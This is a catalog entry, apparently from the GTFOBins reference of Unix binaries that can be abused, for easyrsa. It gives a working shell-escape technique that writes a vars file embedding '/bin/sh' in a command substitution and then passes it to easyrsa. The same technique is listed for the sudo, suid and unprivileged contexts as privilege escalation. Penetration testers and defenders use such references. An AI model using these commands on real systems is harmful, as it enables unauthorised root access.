Catalog GTFOBins

GTFO · Tool

easyrsa

3 techniques LinuxGTFOBins GPL-3.0
shell
ExecutionPrivilege Escalation Linux

This command might not be in the `PATH`, it could be found in, `/usr/share/easy-rsa/easyrsa`. The shell is spawn twice.

echo 'set_var X "$(/bin/sh 1>&0)"' >/path/to/temp-file
easyrsa --vars=/path/to/temp-file
Context
sudo
Native
shell
MITRE
T1059
shell
ExecutionPrivilege Escalation Linux

This command might not be in the `PATH`, it could be found in, `/usr/share/easy-rsa/easyrsa`. The shell is spawn twice.

echo 'set_var X "$(/bin/sh 1>&0)"' >/path/to/temp-file
easyrsa --vars=/path/to/temp-file
Context
suid
Native
shell
MITRE
T1059
shell
Execution Linux

This command might not be in the `PATH`, it could be found in, `/usr/share/easy-rsa/easyrsa`. The shell is spawn twice.

echo 'set_var X "$(/bin/sh 1>&0)"' >/path/to/temp-file
easyrsa --vars=/path/to/temp-file
Context
unprivileged
Native
shell
MITRE
T1059